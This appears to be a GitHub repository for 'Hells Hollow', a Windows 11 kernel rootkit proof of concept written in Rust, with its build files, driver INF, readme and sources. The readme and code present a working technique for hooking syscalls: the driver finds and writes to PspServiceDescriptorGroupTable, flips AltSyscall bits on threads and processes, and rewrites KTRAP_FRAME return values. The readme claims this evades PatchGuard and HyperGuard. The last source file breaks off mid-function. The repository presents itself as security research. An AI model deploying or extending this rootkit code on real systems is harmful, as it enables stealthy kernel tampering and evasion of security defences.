├── .gitignore ├── .cargo └── config.toml ├── img ├── poc.png └── full.svg ├── .vscode └── settings.json ├── Makefile.toml ├── Cargo.toml ├── src ├── thread.rs ├── lib.rs ├── utils.rs └── alt_syscalls.rs ├── hells_hollow.inx ├── readme.md └── Cargo.lock /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | rustflags = ["-C", "target-feature=+crt-static"] -------------------------------------------------------------------------------- /img/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xflux/Hells-Hollow/HEAD/img/poc.png -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "cSpell.words": [ 3 | "NTSTATUS", 4 | "PIRP" 5 | ] 6 | } -------------------------------------------------------------------------------- /Makefile.toml: -------------------------------------------------------------------------------- 1 | extend = "target/rust-driver-makefile.toml" 2 | 3 | [config] 4 | load_script = ''' 5 | #!@rust 6 | //! ```cargo 7 | //! [dependencies] 8 | //! wdk-build = "0.4.0" 9 | //! ``` 10 | #![allow(unused_doc_comments)] 11 | 12 | wdk_build::cargo_make::load_rust_driver_makefile()? 13 | ''' -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "hells_hollow" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [lib] 7 | crate-type = ["cdylib"] 8 | 9 | [package.metadata.wdk.driver-model] 10 | driver-type = "WDM" 11 | 12 | [features] 13 | default = [] 14 | nightly = ["wdk/nightly", "wdk-sys/nightly"] 15 | 16 | [profile.dev] 17 | panic = "abort" 18 | lto = true 19 | 20 | [profile.release] 21 | panic = "abort" 22 | lto = true 23 | 24 | [dependencies] 25 | wdk = "0.3.1" 26 | wdk-alloc = "0.3.1" 27 | wdk-panic = "0.3.1" 28 | wdk-sys = "0.4.0" 29 | 30 | [build-dependencies] 31 | wdk-build = "0.4.0" 32 | 33 | -------------------------------------------------------------------------------- /src/thread.rs: -------------------------------------------------------------------------------- 1 | //! This module handles callback implementations and and other function related to processes. 2 | 3 | use core::{arch::asm, ffi::c_void, ptr::null_mut}; 4 | 5 | use wdk::println; 6 | use wdk_sys::{BOOLEAN, ntddk::PsSetCreateThreadNotifyRoutine}; 7 | 8 | use crate::{ 9 | alt_syscalls::{AltSyscallStatus, AltSyscalls}, 10 | utils::thread_to_process_name, 11 | }; 12 | 13 | /// Instructs the driver to register the thread creation callback routine. 14 | pub fn set_thread_creation_callback() { 15 | if unsafe { PsSetCreateThreadNotifyRoutine(Some(thread_callback)) } != 0 { 16 | println!("Failed to call set_thread_creation_callback"); 17 | } 18 | } 19 | 20 | pub unsafe extern "C" fn thread_callback( 21 | pid: *mut c_void, 22 | thread_id: *mut c_void, 23 | create: BOOLEAN, 24 | ) { 25 | thread_reg_alt_callbacks(); 26 | } 27 | 28 | pub fn thread_reg_alt_callbacks() { 29 | let mut ke_thread: *mut c_void = null_mut(); 30 | 31 | unsafe { 32 | asm!( 33 | "mov {}, gs:[0x188]", 34 | out(reg) ke_thread, 35 | ) 36 | }; 37 | 38 | let thread_process_name = match thread_to_process_name(ke_thread as *mut _) { 39 | Ok(t) => t.to_lowercase(), 40 | Err(e) => { 41 | println!("Could not get process name on new thread creation. {:?}", e); 42 | return; 43 | } 44 | }; 45 | 46 | for needle in ["hello_world"] { 47 | if thread_process_name.contains(&needle) { 48 | AltSyscalls::configure_thread_for_alt_syscalls( 49 | ke_thread as *mut _, 50 | AltSyscallStatus::Enable, 51 | ); 52 | AltSyscalls::configure_process_for_alt_syscalls(ke_thread as *mut _); 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /hells_hollow.inx: -------------------------------------------------------------------------------- 1 | HellsHollow_WDM_Service_Install_WD;=================================================================== 2 | ; Sample WDM Driver 3 | ; Copyright (c) Microsoft Corporation 4 | ;=================================================================== 5 | 6 | [Version] 7 | Signature = "$WINDOWS NT$" 8 | Class = hells_hollow 9 | ClassGuid = {55539780-17A9-4F0D-9F45-DDAED979E7D0} 10 | Provider = %ProviderString% 11 | PnpLockDown = 1 12 | 13 | [DestinationDirs] 14 | DefaultDestDir = 13 15 | 16 | [SourceDisksNames] 17 | 1 = %DiskId1%,,,"" 18 | 19 | [SourceDisksFiles] 20 | hells_hollow.sys = 1 21 | 22 | ; ================= Class section ===================== 23 | 24 | [ClassInstall32] 25 | Addreg=HellsHollowClassReg 26 | 27 | [HellsHollowClassReg] 28 | HKR,,,0,%ClassName% 29 | HKR,,Icon,,-5 30 | 31 | ; ================= Install section ================= 32 | 33 | [Manufacturer] 34 | %StdMfg%=Standard,NT$ARCH$.10.0...16299 35 | 36 | [Standard.NT$ARCH$.10.0...16299] 37 | %DeviceDesc%=HellsHollowWDMDevice, root\SAMPLE_WDM_HW_ID 38 | 39 | [HellsHollowWDMDevice.NT$ARCH$] 40 | CopyFiles=Drivers_Dir 41 | 42 | [Drivers_Dir] 43 | hells_hollow.sys 44 | 45 | ; ================= Service installation ================= 46 | [HellsHollowWDMDevice.NT$ARCH$.Services] 47 | AddService = SampleWDMService, %SPSVCINST_ASSOCSERVICE%, HellsHollow_WDM_Service_Install 48 | 49 | [HellsHollow_WDM_Service_Install] 50 | DisplayName = %ServiceDesc% 51 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 52 | StartType = 3 ; SERVICE_DEMAND_START 53 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 54 | ServiceBinary = %13%\hells_hollow.sys 55 | 56 | ; ================= Strings ================= 57 | [Strings] 58 | SPSVCINST_ASSOCSERVICE = 0x00000002 59 | ProviderString = "FluxSec" 60 | StdMfg = "(Standard system devices)" 61 | DiskId1 = "HellsHollow_WDM_Service_Install Installation Disk #1" 62 | DeviceDesc = "HellsHollow_WDM_Service_Install Device" 63 | ServiceDesc = "HellsHollow_WDM_Service_Install Service" 64 | ClassName = "hells_hollow" -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Hells Hollow 2 | 3 | Hell's Hollow is a Windows 11 compatible rootkit technique that is equivalent to a modern (PatchGuard and HyperGuard) resistant technique to effectively 4 | perform SSDT Hooking (System Service Dispatch Table) - bypassing all previous defence mechanisms put in the kernel. 5 | 6 | This technique works by abusing an undocumented Alternate Syscall handler mechanism in the kernel, within which we are able to directly 7 | alter the KTRAP_FRAME, allowing us to effectively hook the SSDT in Windows 11. We are able to decide to either let the OS continue to dispatch the 8 | system call (and giving us the ability to alter the arguments passed to it), or to alter it on behalf of the dispatcher, and return straight back to 9 | userland - so the calling application thinks the system call was dispatched normally. 10 | 11 | - [Blog post on Hells Hollow](https://fluxsec.red/hells-hollow-a-new-SSDT-hooking-technique-with-alt-syscalls-rootkit) 12 | - [Blog post on Alt Syscalls internals](https://fluxsec.red/alt-syscalls-for-windows-11) 13 | 14 | Shoutout to [@sixtyvividtails](https://x.com/sixtyvividtails) who made a key [observation](https://x.com/sixtyvividtails/status/1950581722070069404) in my first implementation of this, that the KTRAP discovery can be simplified 15 | by reading directly from the KTHREAD. The repo is now updated to reflect this, and it now works even better with no stack modification required! 16 | 17 | Altering the return value from a syscall via the hook: 18 | 19 | ![Hells Hollow SSDT hooking Windows 11 Rust](img/poc.png) 20 | 21 | ### Limitations 22 | 23 | Thanks to some testing by [Xacone](https://github.com/Xacone), we now know that **HVCI** prevents writing to the `PspServiceDescriptorGroupTable ` structure; so this technique is blocked by HVCI. From my own 24 | testing, it appears that this is still resistant to both PatchGuard and HyperGuard under VBS. I used [ssde](https://github.com/valinet/ssde/) to load my driver whilst Secure Boot and VBS were enabled, of which it is 25 | my understanding should be enough to test it against HyperGuard. This was done with debug mode off, which should also allow PatchGuard full authority to detect and block (BugCheck) the technique. 26 | 27 | ## Setup 28 | 29 | I have uploaded this repo as a MVP for producing the technique (in RUst). If you are new to Rust, and simply want to get it up 30 | and running, follow the environment config steps at [Windows Rust Drivers](https://github.com/microsoft/windows-drivers-rs) project and run `cargo make`. 31 | 32 | It will spit our a driver that you can simply load with OSR or whatever tool you want. This POC is designed to hook `NtTraceEvent` in the kernel (via Alt Syscalls), 33 | it will modify the return value to 0xff in `rax` to usermode. 34 | 35 | If you want to test this out on a SSN of your choice that isn't `NtTraceEvent`, then make a program called `hello_world.exe` (this rootkit currently filters on that) 36 | and in [alt_syscalls.rs](https://github.com/0xflux/Hells-Hollow/blob/master/src/alt_syscalls.rs) change which SSN you want to hook, which is currently defined as: 37 | 38 | ```rust 39 | const NT_TRACE_EVENT_SSN: u32 = 0x005e; 40 | ``` 41 | 42 | Then, via either a kernel debugger for the Alt Syscall callback / trap, or a usermode debugger on the syscall itself, you'll see what's going on under the hood. 43 | 44 | Video POC coming soon with a bit more of an explanation on what is going on, until then, read my blog :). 45 | 46 | ### References 47 | 48 | - [Alt Syscalls for Windows 11 - 0xflux](https://fluxsec.red/alt-syscalls-for-windows-11) 49 | - [System Calls Tracing & Monitoring via Alternative Handlers - Xacone](https://xacone.github.io/BestEdrOfTheMarketV3.html#4) 50 | - [WinAltSyscallHandler - 0xcpu](https://github.com/0xcpu/WinAltSyscallHandler/tree/master) 51 | - [Symbols](https://www.vergiliusproject.com/kernels/x64/windows-11/24h2) -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | 3 | extern crate alloc; 4 | 5 | #[cfg(not(test))] 6 | extern crate wdk_panic; 7 | 8 | use core::{ 9 | ptr::null_mut, 10 | sync::atomic::{AtomicPtr, Ordering}, 11 | }; 12 | 13 | use alloc::boxed::Box; 14 | use wdk::{nt_success, println}; 15 | #[cfg(not(test))] 16 | use wdk_alloc::WdkAllocator; 17 | 18 | #[cfg(not(test))] 19 | #[global_allocator] 20 | static GLOBAL_ALLOCATOR: WdkAllocator = WdkAllocator; 21 | 22 | mod alt_syscalls; 23 | mod thread; 24 | mod utils; 25 | 26 | static G_REGISTRY_PATH: AtomicPtr = AtomicPtr::new(null_mut()); 27 | 28 | use wdk_sys::{ 29 | DEVICE_OBJECT, DRIVER_OBJECT, IO_NO_INCREMENT, IRP_MJ_CLOSE, IRP_MJ_CREATE, NTSTATUS, 30 | PCUNICODE_STRING, PDRIVER_OBJECT, PIRP, STATUS_INVALID_BUFFER_SIZE, STATUS_SUCCESS, 31 | UNICODE_STRING, 32 | ntddk::{IofCompleteRequest, PsRemoveCreateThreadNotifyRoutine, RtlDuplicateUnicodeString}, 33 | }; 34 | 35 | use crate::{ 36 | alt_syscalls::AltSyscalls, 37 | thread::{set_thread_creation_callback, thread_callback}, 38 | }; 39 | 40 | #[unsafe(export_name = "DriverEntry")] 41 | pub unsafe extern "system" fn driver_entry( 42 | driver: &mut DRIVER_OBJECT, 43 | registry_path: PCUNICODE_STRING, 44 | ) -> NTSTATUS { 45 | println!("Starting Hells Hollow POC by 0xflux, https://github.com/0xflux/."); 46 | 47 | // Initialise the driver, basic stuff, nothing to do with Hell's Hollow here, keep reading for that :~) 48 | let init = initialise_driver(driver, registry_path); 49 | if init != STATUS_SUCCESS { 50 | return init; 51 | } 52 | 53 | // 54 | // Now that the driver is initialised we can go ahead and enable Alt Syscalls and thus activate 55 | // the Hells Hollow technique. 56 | // 57 | // First, we need to initialise the structures required to run Alt Syscalls 58 | // Then, we need to set the appropriate flags per process & thread to enable the Alt Syscall dispatch 59 | // Finally, the Hells Hollow technique will auto-dispatch in the `syscall_handler` function found in `alt_syscalls.rs` 60 | // 61 | AltSyscalls::initialise_for_system(driver); 62 | set_thread_creation_callback(); 63 | 64 | STATUS_SUCCESS 65 | } 66 | 67 | fn initialise_driver(driver: &mut DRIVER_OBJECT, registry_path: PCUNICODE_STRING) -> NTSTATUS { 68 | if registry_path.is_null() { 69 | println!("Registry path was null, exiting."); 70 | return STATUS_INVALID_BUFFER_SIZE; 71 | } 72 | 73 | let mut dup = UNICODE_STRING::default(); 74 | 75 | let status = unsafe { RtlDuplicateUnicodeString(1, registry_path, &mut dup) }; 76 | 77 | if !nt_success(status) { 78 | return status; 79 | } 80 | 81 | let boxed = Box::new(dup); 82 | G_REGISTRY_PATH.store(Box::into_raw(boxed), Ordering::SeqCst); 83 | 84 | driver.MajorFunction[IRP_MJ_CREATE as usize] = Some(drv_create_close); 85 | driver.MajorFunction[IRP_MJ_CLOSE as usize] = Some(drv_create_close); 86 | driver.DriverUnload = Some(driver_exit); 87 | 88 | println!("Hells Hollow registered"); 89 | 90 | STATUS_SUCCESS 91 | } 92 | 93 | extern "C" fn driver_exit(_driver: PDRIVER_OBJECT) { 94 | AltSyscalls::uninstall(); 95 | let res = unsafe { PsRemoveCreateThreadNotifyRoutine(Some(thread_callback)) }; 96 | if res != STATUS_SUCCESS { 97 | println!( 98 | "Error removing PsSetCreateProcessNotifyRoutineEx from callback routines. Error: {res}" 99 | ); 100 | } 101 | 102 | let ptr = G_REGISTRY_PATH.load(Ordering::SeqCst); 103 | if !ptr.is_null() { 104 | let b = unsafe { Box::from_raw(ptr) }; 105 | drop(b); 106 | } 107 | 108 | println!("Unloaded Hells Hollow."); 109 | } 110 | 111 | unsafe extern "C" fn drv_create_close(_device: *mut DEVICE_OBJECT, pirp: PIRP) -> NTSTATUS { 112 | (unsafe { *pirp }).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS; 113 | (unsafe { *pirp }).IoStatus.Information = 0; 114 | unsafe { IofCompleteRequest(pirp, IO_NO_INCREMENT as i8) }; 115 | 116 | STATUS_SUCCESS 117 | } 118 | -------------------------------------------------------------------------------- /src/utils.rs: -------------------------------------------------------------------------------- 1 | use core::{ 2 | ffi::{CStr, c_void}, 3 | slice::from_raw_parts, 4 | }; 5 | 6 | use alloc::string::String; 7 | 8 | use wdk::println; 9 | use wdk_sys::{_EPROCESS, _KTHREAD, LIST_ENTRY, UNICODE_STRING, ntddk::IoThreadToProcess}; 10 | 11 | unsafe extern "system" { 12 | pub unsafe fn PsGetProcessImageFileName(p_eprocess: *const c_void) -> *const c_void; 13 | } 14 | 15 | #[derive(Debug)] 16 | /// A custom error enum for the driver 17 | pub enum DriverError { 18 | NullPtr, 19 | ModuleNotFound, 20 | FunctionNotFoundInModule, 21 | Unknown(String), 22 | } 23 | 24 | pub struct ModuleImageBaseInfo { 25 | pub base_address: *const c_void, 26 | pub size_of_image: usize, 27 | } 28 | 29 | unsafe extern "C" { 30 | static PsLoadedModuleList: LIST_ENTRY; 31 | } 32 | 33 | #[repr(C)] 34 | struct LdrDataTableEntry { 35 | InLoadOrderLinks: LIST_ENTRY, // 0x00 36 | InMemoryOrderLinks: LIST_ENTRY, // 0x10 37 | InInitializationOrderLinks: LIST_ENTRY, // 0x20 38 | DllBase: *const c_void, // 0x30 39 | EntryPoint: *const c_void, // 0x38 40 | SizeOfImage: u32, // 0x40 41 | _padding: u32, // 0x44 42 | FullDllName: UNICODE_STRING, // 0x48 43 | BaseDllName: UNICODE_STRING, // 0x58 44 | } 45 | 46 | /// Gets the base address and module size of a module in the kernel by traversing the InLoadOrderLinks struct of the `DRIVER_OBJECT`. 47 | /// 48 | /// # Returns 49 | /// - `ok` - The function will return `Ok` with a [`ModuleImageBaseInfo`]. 50 | /// - `err` - Returns DriverError. 51 | #[inline(always)] 52 | pub fn get_module_base_and_sz(needle: &str) -> Result { 53 | let head = unsafe { &PsLoadedModuleList as *const LIST_ENTRY }; 54 | 55 | let mut link = unsafe { (*head).Flink }; 56 | 57 | while link != head as *mut LIST_ENTRY { 58 | let entry = link as *mut LdrDataTableEntry; 59 | 60 | let unicode = unsafe { &(*entry).BaseDllName }; 61 | let len = (unicode.Length / 2) as usize; 62 | let buf = unicode.Buffer; 63 | if !buf.is_null() && len > 0 && len < 256 { 64 | let slice = unsafe { from_raw_parts(buf, len) }; 65 | let name = String::from_utf16_lossy(slice); 66 | 67 | if name.eq_ignore_ascii_case(needle) { 68 | let base = unsafe { (*entry).DllBase }; 69 | let size = unsafe { (*entry).SizeOfImage } as usize; 70 | return Ok(ModuleImageBaseInfo { 71 | base_address: base, 72 | size_of_image: size, 73 | }); 74 | } 75 | } 76 | 77 | // Move to the next entry 78 | link = unsafe { (*entry).InLoadOrderLinks.Flink }; 79 | } 80 | 81 | Err(DriverError::ModuleNotFound) 82 | } 83 | 84 | /// Scan a loaded module for a particular sequence of bytes, this will most commonly be used to resolve a pointer to 85 | /// an unexported function we wish to use. 86 | /// 87 | /// # Args 88 | /// - `image_base`: The base address of the image you wish to search 89 | /// - `image_size`: The total size of the image to search 90 | /// - `pattern`: A byte slice containing the bytes you wish to search for 91 | /// 92 | /// # Returns 93 | /// - `ok`: The address of the start of the pattern match 94 | /// - `err`: A [`DriverError`] 95 | pub fn scan_module_for_byte_pattern( 96 | image_base: *const c_void, 97 | image_size: usize, 98 | pattern: &[u8], 99 | ) -> Result<*const c_void, DriverError> { 100 | // Convert the raw address pointer to a byte pointer so we can read individual bytes 101 | let image_base = image_base as *const u8; 102 | let mut cursor = image_base as *const u8; 103 | // End of image denotes the end of our reads, if nothing is found by that point we have not found the 104 | // sequence of bytes 105 | let end_of_image = unsafe { image_base.add(image_size) }; 106 | 107 | while cursor != end_of_image { 108 | unsafe { 109 | let bytes = from_raw_parts(cursor, pattern.len()); 110 | 111 | if bytes == pattern { 112 | return Ok(cursor as *const _); 113 | } 114 | 115 | cursor = cursor.add(1); 116 | } 117 | } 118 | 119 | Err(DriverError::FunctionNotFoundInModule) 120 | } 121 | 122 | pub fn thread_to_process_name<'a>(thread: *mut _KTHREAD) -> Result<&'a str, DriverError> { 123 | let process = unsafe { IoThreadToProcess(thread as *mut _) }; 124 | 125 | if process.is_null() { 126 | println!("PEPROCESS was null."); 127 | return Err(DriverError::NullPtr); 128 | } 129 | 130 | eprocess_to_process_name(process as *mut _) 131 | } 132 | 133 | pub fn eprocess_to_process_name<'a>(process: *mut _EPROCESS) -> Result<&'a str, DriverError> { 134 | let name_ptr = unsafe { PsGetProcessImageFileName(process as *mut _) }; 135 | 136 | if name_ptr.is_null() { 137 | println!("Name ptr was null"); 138 | } 139 | 140 | let name = match unsafe { CStr::from_ptr(name_ptr as *const i8) }.to_str() { 141 | Ok(name_str) => name_str, 142 | Err(e) => { 143 | println!("Could not get the process name as a str. {e}"); 144 | return Err(DriverError::ModuleNotFound); 145 | } 146 | }; 147 | 148 | Ok(name) 149 | } 150 | -------------------------------------------------------------------------------- /src/alt_syscalls.rs: -------------------------------------------------------------------------------- 1 | use core::{arch::asm, ffi::c_void, ptr::null_mut}; 2 | 3 | use alloc::{boxed::Box, string::String, vec::Vec}; 4 | use wdk::println; 5 | use wdk_sys::{ 6 | ntddk::{ 7 | IoGetCurrentProcess, IoThreadToProcess, ObReferenceObjectByHandle, ObfDereferenceObject, 8 | ZwClose, 9 | }, PsThreadType, ACCESS_MASK, DISPATCHER_HEADER, DRIVER_OBJECT, HANDLE, KTRAP_FRAME, NTSTATUS, OBJ_KERNEL_HANDLE, PETHREAD, PHANDLE, PKTHREAD, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, ULONG, _KTHREAD, _KTRAP_FRAME, _MODE::KernelMode 10 | }; 11 | 12 | use crate::utils::{ 13 | DriverError, get_module_base_and_sz, scan_module_for_byte_pattern, thread_to_process_name, 14 | }; 15 | 16 | unsafe extern "system" { 17 | pub unsafe fn PsGetProcessImageFileName(p_eprocess: *const c_void) -> *const c_void; 18 | } 19 | 20 | unsafe extern "system" { 21 | pub unsafe fn ZwGetNextProcess( 22 | handle: HANDLE, 23 | access: ACCESS_MASK, 24 | attr: ULONG, 25 | flags: ULONG, 26 | new_proc_handle: PHANDLE, 27 | ) -> NTSTATUS; 28 | 29 | pub unsafe fn ZwGetNextThread( 30 | proc_handle: HANDLE, 31 | thread_handle: HANDLE, 32 | access: ACCESS_MASK, 33 | attr: ULONG, 34 | flags: ULONG, 35 | new_thread_handle: PHANDLE, 36 | ) -> NTSTATUS; 37 | } 38 | 39 | const SLOT_ID: u32 = 0; 40 | const SSN_COUNT: u32 = 0x500; 41 | 42 | const NT_TRACE_EVENT_SSN: u32 = 0x005e; 43 | 44 | pub struct AltSyscalls; 45 | 46 | #[repr(C)] 47 | pub struct PspServiceDescriptorGroupTable { 48 | rows: [PspServiceDescriptorRow; 0x20], 49 | } 50 | 51 | #[repr(C)] 52 | #[derive(Copy, Clone)] 53 | struct PspServiceDescriptorRow { 54 | driver_base: *const c_void, 55 | ssn_dispatch_table: *const AltSyscallDispatchTable, 56 | _reserved: *const c_void, 57 | } 58 | 59 | #[repr(C)] 60 | struct PspSyscallProviderDispatchContext { 61 | level: u32, 62 | slot: u32, 63 | } 64 | 65 | #[repr(C)] 66 | struct AltSyscallDispatchTable { 67 | pub count: u32, 68 | pub descriptors: [u32; SSN_COUNT as usize], 69 | } 70 | 71 | #[derive(Copy, Clone)] 72 | pub enum AltSyscallStatus { 73 | Enable, 74 | Disable, 75 | } 76 | 77 | #[repr(C)] 78 | struct KThreadLocalDef { 79 | junk: [u8; 0x90], 80 | k_trap_ptr: *mut KTRAP_FRAME, 81 | 82 | } 83 | 84 | /// The actual PoC for Hell's Hollow can be found here. For full reference: 85 | /// https://fluxsec.red/hells-hollow-a-new-SSDT-hooking-technique-with-alt-syscalls-rootkit 86 | #[inline(always)] 87 | fn hells_hollow_poc() -> Result { 88 | let proc_name = get_process_name().to_lowercase(); 89 | 90 | // 91 | // Note: For the purposes of this, we are only operating on processes with hello_world 92 | // in their process name. This helps isolate the investigation. 93 | // 94 | if proc_name.contains("hello_world") { 95 | println!("Found target process {proc_name}"); 96 | 97 | let mut k_thread: *mut c_void = null_mut(); 98 | // SAFETY: Pointers here guaranteed and reduces visual clutter 99 | unsafe { 100 | asm!( 101 | "mov {}, gs:[0x188]", 102 | out(reg) k_thread, 103 | ); 104 | 105 | let k_thread = &mut *(k_thread as *mut KThreadLocalDef); 106 | let k_trap = &mut *k_thread.k_trap_ptr; 107 | 108 | println!("Address of _KTRAP_FRAME: {:p}", (*k_thread).k_trap_ptr); 109 | 110 | // change the return value to usermode 111 | k_trap.P3Home = 0xfa; 112 | 113 | // print the SSN 114 | println!("Current value of `rax` (ssn): {:X}", k_trap.Rax); 115 | println!("Returning `rax` result to usermode syscall: {:X}", k_trap.P3Home); 116 | } 117 | 118 | return Ok(0); 119 | } 120 | 121 | Ok(1) 122 | } 123 | 124 | impl AltSyscalls { 125 | /// Initialises the required tables in memory. 126 | /// 127 | /// This function should only be called once until it is disabled. 128 | pub fn initialise_for_system(driver: &mut DRIVER_OBJECT) { 129 | // How many stack args we want to memcpy; I use my own method to get these.. 130 | const NUM_QWORD_STACK_ARGS_TO_CPY: u32 = 0x0; 131 | // These flags ensure we go the PspSyscallProviderServiceDispatchGeneric route 132 | const GENERIC_PATH_FLAGS: u32 = 0x10; 133 | 134 | // Enforce the SLOT_ID rules at compile time 135 | const _: () = assert!(SLOT_ID <= 20, "SLOT_ID for alt syscalls cannot be > 20"); 136 | 137 | // 138 | // Get the base address of the driver, so that we can bit shift in the RVA of the callback. 139 | // 140 | let driver_base = match get_module_base_and_sz("hells_hollow.sys") { 141 | Ok(info) => info.base_address, 142 | Err(e) => { 143 | println!("[-] Could not get base address of driver. {:?}", e); 144 | return; 145 | } 146 | }; 147 | 148 | // 149 | // Now build the 'mini dispatch table': one per descriptor. Each index of the descriptor contains a relative pointer from the driver base 150 | // address to the callback function. 151 | // 152 | // low–4 bits = metadata (0x10 = generic path + N args to capture via a later memcpy), 153 | // high bits = descriptor index<<4. 154 | // 155 | // Setting FLAGS |= (METADATA & 0xF) means generic path, capture N args 156 | // 157 | let callback_address = syscall_handler as usize; 158 | let metadata_table = Box::new(AltSyscallDispatchTable { 159 | count: SSN_COUNT, 160 | descriptors: [0; SSN_COUNT as usize], 161 | }); 162 | 163 | // Leak the box so that we don't (for now) have to manage the memory; yes, this is a memory leak in the kernel, I'll fix it later. 164 | let p_metadata_table = Box::leak(metadata_table) as *const AltSyscallDispatchTable; 165 | 166 | let rva_offset_callback = callback_address - driver_base as usize; 167 | // SAFETY: Check the offset size will fit into a u32 168 | if rva_offset_callback > u32::MAX as _ { 169 | println!( 170 | "OFfset calculation very wrong? Offset: {:#x}", 171 | rva_offset_callback 172 | ); 173 | return; 174 | } 175 | 176 | for i in 0..SSN_COUNT { 177 | unsafe { &mut *(p_metadata_table as *mut AltSyscallDispatchTable) }.descriptors[i as usize] = 178 | ((rva_offset_callback as u32) << 4) 179 | | (GENERIC_PATH_FLAGS | (NUM_QWORD_STACK_ARGS_TO_CPY & 0xF)); 180 | } 181 | 182 | println!( 183 | "Address of the alt syscalls metadata table: {:p}", 184 | p_metadata_table 185 | ); 186 | 187 | // Get the address of PspServiceDescriptorGroupTable from the kernel by doing some pattern matching; I don't believe 188 | // we can link to the symbol. 189 | let kernel_service_descriptor_table = match lookup_global_table_address(driver) { 190 | Ok(t) => t as *mut PspServiceDescriptorGroupTable, 191 | Err(_) => { 192 | println!("failed to find kernel table"); 193 | return; 194 | } 195 | }; 196 | 197 | // 198 | // Insert a new row at index 0 in the PspServiceDescriptorGroupTable; in theory, if these were already occupied by other software 199 | // using alt syscalls, we would want to find an unoccupied slot. 200 | // This is what the Slot field relates to on the _PSP_SYSCALL_PROVIDER_DISPATCH_CONTEXT of _EPROCESS - essentially an index into which 201 | // syscall provider to use. 202 | // 203 | let new_row = PspServiceDescriptorRow { 204 | driver_base, 205 | ssn_dispatch_table: p_metadata_table, 206 | _reserved: core::ptr::null(), 207 | }; 208 | 209 | // Write it to the table 210 | unsafe { 211 | (*kernel_service_descriptor_table).rows[SLOT_ID as usize] = new_row; 212 | } 213 | 214 | // Enumerate all active processes and threads, and enable the relevant bits so that the alt syscall 'machine' can work :) 215 | Self::walk_active_processes_and_set_bits(AltSyscallStatus::Enable, Some(&["hello_world"])); 216 | } 217 | 218 | /// Sets the required context bits in memory on thread and KTHREAD. 219 | pub fn configure_thread_for_alt_syscalls(p_k_thread: PKTHREAD, status: AltSyscallStatus) { 220 | if p_k_thread.is_null() { 221 | return; 222 | } 223 | 224 | // Check if is pico process, if it is, we don't want to mess with it, as I haven't spent time reversing the branch 225 | // for this in PsSyscallProviderDispatch. 226 | let dispatch_hdr = unsafe { &mut *(p_k_thread as *mut DISPATCHER_HEADER) }; 227 | 228 | if unsafe { 229 | dispatch_hdr 230 | .__bindgen_anon_1 231 | .__bindgen_anon_6 232 | .__bindgen_anon_2 233 | .DebugActive 234 | & 4 235 | } == 4 236 | { 237 | return; 238 | } 239 | 240 | // Assuming now we are not a pico-process; set / unset the AltSyscall bit on the ETHREAD depending upon 241 | // the `status` argument to this function. 242 | unsafe { 243 | match status { 244 | AltSyscallStatus::Enable => { 245 | dispatch_hdr 246 | .__bindgen_anon_1 247 | .__bindgen_anon_6 248 | .__bindgen_anon_2 249 | .DebugActive |= 0x20 250 | } 251 | AltSyscallStatus::Disable => { 252 | dispatch_hdr 253 | .__bindgen_anon_1 254 | .__bindgen_anon_6 255 | .__bindgen_anon_2 256 | .DebugActive &= !0x20 257 | } 258 | } 259 | } 260 | } 261 | 262 | pub fn configure_process_for_alt_syscalls(p_k_thread: PKTHREAD) { 263 | // We can cast the KTHREAD* as a ETHREAD* as KTHREAD = ETHREAD bytes 0x0 - 0x4c0 264 | // so they directly map. 265 | // We will cast the resulting EPROCESS as a *mut u8 as EPROCESS is not defined by the Windows API, and we can just use 266 | // some pointer arithmetic to edit the fields we want. 267 | let p_eprocess = unsafe { IoThreadToProcess(p_k_thread as PETHREAD) } as *mut u8; 268 | let syscall_provider_dispatch_ctx: &mut PspSyscallProviderDispatchContext = 269 | if !p_eprocess.is_null() { 270 | unsafe { 271 | let addr = p_eprocess.add(0x7d0) as *mut PspSyscallProviderDispatchContext; 272 | // SAFETY: I think the dereference of this is fine; we are dereferencing an offset from the EPROCESS - it is not a double pointer. 273 | // We check the validity of the EPROCESS above before doing this, as that should always be valid. But this deref should be safe. 274 | &mut *addr 275 | } 276 | } else { 277 | return; 278 | }; 279 | 280 | // Set slot id 281 | syscall_provider_dispatch_ctx.slot = SLOT_ID; 282 | } 283 | 284 | /// Uninstall the Alt Syscall handlers from the kernel. 285 | pub fn uninstall() { 286 | Self::walk_active_processes_and_set_bits(AltSyscallStatus::Disable, Some(&["hello_world"])); 287 | } 288 | 289 | /// Walk all processes and threads, and set the bits on the process & thread to either enable or disable the 290 | /// alt syscall method. 291 | /// 292 | /// # Args: 293 | /// - `status`: Whether you wish to enable, or disable the feature 294 | /// - `isolated_processes`: If you wish just to set the relevant bits on a single process; then add a vec of process names 295 | /// to match on, with a *name* logic. 296 | /// 297 | /// # Note: 298 | /// This function is specifically crafted for W11 24H2; to generalise in the future after POC 299 | fn walk_active_processes_and_set_bits( 300 | status: AltSyscallStatus, 301 | isolated_processes: Option<&[&str]>, 302 | ) { 303 | let current_process = unsafe { IoGetCurrentProcess() }; 304 | if current_process.is_null() { 305 | println!("current_process was NULL"); 306 | return; 307 | } 308 | 309 | // 310 | // Walk the active processes & threads via reference counting to ensure that the 311 | // threads & processes aren't terminated during the walk (led to race condition). 312 | // 313 | // For each process & thread, enable to relevant bits for Alt Syscalls. 314 | // 315 | 316 | let mut next_proc: HANDLE = null_mut(); 317 | let mut cur_proc: HANDLE = null_mut(); 318 | let mut cur_thread: HANDLE = null_mut(); 319 | let mut next_thread: HANDLE = null_mut(); 320 | 321 | // Store a vec of handles to be closed after we have completed all operations 322 | let mut handles: Vec = Vec::new(); 323 | 324 | loop { 325 | let result = unsafe { 326 | ZwGetNextProcess( 327 | cur_proc, 328 | PROCESS_ALL_ACCESS, 329 | OBJ_KERNEL_HANDLE, 330 | 0, 331 | &mut next_proc, 332 | ) 333 | 